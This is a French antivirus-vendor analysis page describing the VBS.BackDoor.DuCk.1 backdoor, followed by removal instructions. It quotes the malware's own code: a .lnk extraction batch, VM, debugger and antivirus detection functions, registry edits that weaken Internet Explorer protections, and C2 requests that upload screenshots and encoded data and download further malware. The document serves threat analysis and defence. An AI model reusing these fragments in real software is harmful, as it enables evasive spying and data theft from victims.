Bibliothèque
Ma bibliothèque

+ Ajouter à la bibliothèque

Contacter-nous !
Support 24/24 | Rules regarding submitting

Nous téléphoner

0 825 300 230

Forum

Vos requêtes

  • Toutes : -
  • Non clôturées : -
  • Dernière : le -

Nous téléphoner

0 825 300 230

Profil

VBS.BackDoor.DuCk.1

Added to the Dr.Web virus database: 2015-04-03

Virus description added:

Le Trojan backdoor qui peut exécuter des commandes ainsi qu'envoyer au serveur de gestion des captures d'écran. Il est écrit en Visual Basic Script et est distribué comme un raccourci avec l'extension .lnk, contenant un script VBS compressé. Lors du lancement du raccourci, la fonction findstr est exécutée pour déterminer la signature du commencement du script et de la décompression en fichier avec lancement consécutif, autrement dit les actions suivantes sont exécutées :

copy *.doc.lnk %tmp%
%systemdrive%
cd %tmp%
dir /b /s *.doc.lnk > o
echo set /p f=^.bat
echo type "%f%"^>z9>>.bat
echo findstr /R /C:"#@~" z9^>1.vbe^&cscript 1.vbe^&del *.lnk /S /Q /Y >>.bat
.bat

Pour déterminer l'adresse du serveur de gestion, le Trojan utilise l'algorithme suivant. Au début du script VBS, il y a trois liens :

YouTubeLinks(0) = "https://dl.dropboxusercontent.com/s/v**********smun/index.html"
YouTubeLinks(1) = "http://www.youtube.com/watch?v=*******0b"
YouTubeLinks(2) = "https://www.youtube.com/watch?v=*******D0b"

screen

Le Trojan envoie à ces ressources des requêtes GET et recherche dans la réponse l'expression spécifiée par les malfaiteurs :

our (.*)th psy anniversary

En réponse, le serveur renvoie un chiffre. Il est divisé par 31337, le résultat représente donc un autre chiffre, qui, après sa conversion en système hexadécimal, correspond à l'adresse IP du serveur de gestion à laquelle la ligne " /wp-admin-content/ " sera ajoutée. Pour vérifier si le serveur est opérationnel, le Trojan envoie une requête GET " ХХХ.ХХХ.ХХХ.ХХХ/wp-admin-content/Status2.php " et vérifie la présence d'une ligne " OKOKOK " dans la réponse.

Le Trojan possède un mécanisme spécial pour vérifier la présence de machines virtuelles sur l'ordinateur infecté. Cette vérification comprend trois étapes :

Function isVmDrivers()
        Dim Drivers(2)
        Drivers(0) = "virtualbox"
        Drivers(1) = "parallels"
        Drivers(2) = "vmware"
 
        strText = shell_exec("driverquery")
        result = False
        For Each Driver in Drivers
                inString = inStr(strText, Driver)
                If not inString = 0 Then
                        result = Driver
                End If
        Next
        isVmDrivers = result
End Function
Function isVmProduct()
        Dim Product
        Dim badProducts(1)
        badProducts(0) = "parallels virtual platform"
        badProducts(1) = "virtualbox"
        Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}
           !\\.\root\cimv2")
        Set colItems = objWMIService.ExecQuery("Select * from Win32_BaseBoard")
        For Each objItem in colItems
                Product = LCase(objItem.Product)
        Next
        result = False
        For Each badProduct in badProducts
                inString = inStr(Product, badProduct)
                If not inString = 0 Then
                        result = badProduct
                End If
        Next
        isVmProduct = result
End Function
Function isVmMAC()
        Dim macs(29)
        macs(0) = "00-01-5D"
        macs(1) = "00-03-BA"
        macs(2) = "00-07-82"
        macs(3) = "00-0F-4B"
        macs(4) = "00-10-4F"
        macs(5) = "00-10-E0"
        macs(6) = "00-14-4F"
        macs(7) = "00-20-F2"
        macs(8) = "00-21-28"
        macs(9) = "00-21-F6"
        macs(10) = "00-50-56"
        macs(11) = "00-0C-29"
        macs(12) = "00-05-69"
        macs(13) = "00-03-FF"
        macs(14) = "00-1C-42"
        macs(15) = "00-16-3E"
        macs(16) = "08-00-27"
        macs(17) = "00-1C-14"
        macs(18) = "08-00-20"
        macs(19) = "00-0D-3A"
        macs(20) = "00-12-5A"
        macs(21) = "00-15-5D"
        macs(22) = "00-17-FA"
        macs(23) = "00-1D-D8"
        macs(24) = "00-22-48"
        macs(25) = "00-25-AE"
        macs(26) = "00-50-C2"
        macs(27) = "00-50-F2"
        macs(28) = "44-45-53"
        macs(29) = "7C-ED-8D"
        strText = shell_exec("ipconfig /all")
        result = False
        For Each mac in macs
                inString = inStr( strText, LCase(mac) )
                If not inString = 0 Then
                        result = mac
                End If
        Next
        isVmMAC = result
End Function

Le Trojan vérifie également la présence de processus des logiciels conçus pour surveiller le système d'exploitation :

Function checkRunningProcess()
        Dim Processes(15)
        Processes(0) = "taskmgr.exe"
        Processes(1) = "procmon.exe"
        Processes(2) = "procmon64.exe"
        Processes(3) = "procexp.exe"
        Processes(4) = "procexp64.exe"
        Processes(5) = "ollydbg.exe"
        Processes(6) = "wpe pro.exe"
        Processes(7) = "wireshark.exe"
        Processes(8) = "immunitydebugger.exe"
        Processes(9) = "windbg.exe"
        Processes(10) = "tcpview.exe"
        Processes(11) = "tcpvcon.exe"
        Processes(12) = "gmer.exe"
        Processes(13) = "osam.exe"
        Processes(14) = "startup.exe"
        Processes(15) = "listdlls.exe"
        strText = shell_exec("tasklist")
        result = False
        For Each Process in Processes
                inString = inStr(strText, LCase(Process))
                If not inString = 0 Then
                        result = Process
                End If
        Next
        checkRunningProcess = result
End Function

Le backdoor peut également identifier certains logiciels antivirus :

malBytesPath1 = s.ExpandEnvironmentStrings("%systemdrive%") & 
"\Program Files\MalwareBytes' Anti-Malware"
malBytesPath2 = s.ExpandEnvironmentStrings("%systemdrive%") & 
"\Program Files (x86)\MalwareBytes' Anti-Malware"
malBytesPath3 = s.ExpandEnvironmentStrings("%systemdrive%") & 
"\Program Files\Malwarebytes Anti-Malware"
malBytesPath4 = s.ExpandEnvironmentStrings("%systemdrive%") & 
"\Program Files (x86)\Malwarebytes Anti-Malware"
 
If fileSys.FolderExists(malBytesPath1) or fileSys.FolderExists(malBytesPath2) 
or fileSys.FolderExists(malBytesPath3) or fileSys.FolderExists(malBytesPath4) Then
        isMalwB = True
Else
        isMalwB = False
End If
If fileSys.FileExists("1.vbe") Then
        fileSys.CopyFile Wscript.ScriptFullName, path & "\.vbe"
        fileSys.DeleteFile "1.vbe"
        isKaspersky = inStr(LCase(installedAV), "kasper")
        If isKaspersky = 0 Then
                objShell.ShellExecute "cscript.exe", ".vbe", path, "open", 0
        End If
        WScript.Quit 1
End If

Dans le répertoire de l'utilisateur Windows, le Trojan crée un sous-dossier " %userprofile%\SystemFolder " qu'il utilise pour son fonctionnement. Pour se masquer, le Trojan enregistre dans le dossier %temp% le document vtoroy_doc.doc et l'affiche à l'utilisateur :

screen

Les spécialistes supposent qu'au début, les malfaiteurs voulaient utiliser la présentation PowerPoint, car le code du Trojan prévoit l'arrêt du processus de ce logiciel (si cette case est cochée), mais pour une raison quelconque, ils ont changé d'avis.

Pour faire des captures d'écran, le backdoor utilise sa bibliothèque. Les captures sont enregistrées dans le dossier temporaire comme des fichiers " %temp%\~PF214C.tmp ".

A l'aide du fichier REG, le Trojan désactive les plug-ins du navigateur Microsoft Internet Explorer :

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Enable Browser Extensions"="no"

S'il est lancé sur l'ordinateur sous Windows Vista, il peut désactiver dans le navigateur le mode « protected » en utilisant l'autre fichier REG :

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"NoProtectedModeBanner"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"2500"=dword:00000003

Le Trojan assure son démarrage automatique en créant son raccourci " %Startup%\Microsoft Sync Services.lnk ", qui lance le script h.vbe.

screen

Si le Trojan trouve une machine virtuelle ou les processus de sa liste de vérification, il envoie le rapport au serveur de gestion :

server & "/rit.php?cn=" & computerName & "&un=" & userName & "&an=" & notifyName & 
"&id=" & Serial & "&r=" & reason

où reason est une ligne composée des résultats des vérifications :

reason = vmProd & ", " & vmDrivers & ", " & vmMac & ", " & runningProc

Les requêtes suivantes sont envoyées chaque seconde. Pour recevoir des commandes, le Trojan envoie la requête suivante :

server & "/c.php" & "?id=" & Serial

En réponse il peut recevoir la commande " download>(.*)>(.*) " pour télécharger sur l'ordinateur infecté d'autre logiciels malveillants :

Function downFile(args)
        argsNum = uBound(args) + 1
        writePath = args(1)
        wrapper = "Byt34rr4y"
        If argsNum = 2 Then
                data = getPage(server & "/d.php?f=" & Base64EncodeString( args(0) ), 60, "get")
                find = preg_match(wrapper & "(.*)" & wrapper, data)
                If IsArray(find) Then
                        writer = writeByteArrayToFile(writePath, find(0))
                End If
        End If
End Function

Toutes les autres commandes sont envoyées par VBS.BackDoor.DuCk.1 à l'interpréteur de commandes CMD ou PowerShell. La requête suivante est utilisée pour envoyer au serveur de gestion des captures d'écran :

server & "/rs.php", 30, "i=" & Serial & "&d=" & encodeBase64(inByteArray) & "&t=" & 
get_formatted_time() & "&l=" & Len(encodeBase64(inByteArray))

où inByteArray - sont les données du fichier de capture d'écran.

De plus, il peut lancer le script Python, dont les résultats de fonctionnement cryptés sont envoyés au serveur des pirates :

server & "/rk.php", 30, "i=" & Serial & "&d=" & encodedData & "&t=" & get_formatted_time() & "&l=" & Len(encodedData)

où encodedData est le contenu du fichier, crypté par l'algorithme base64.

News sur cette menace

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android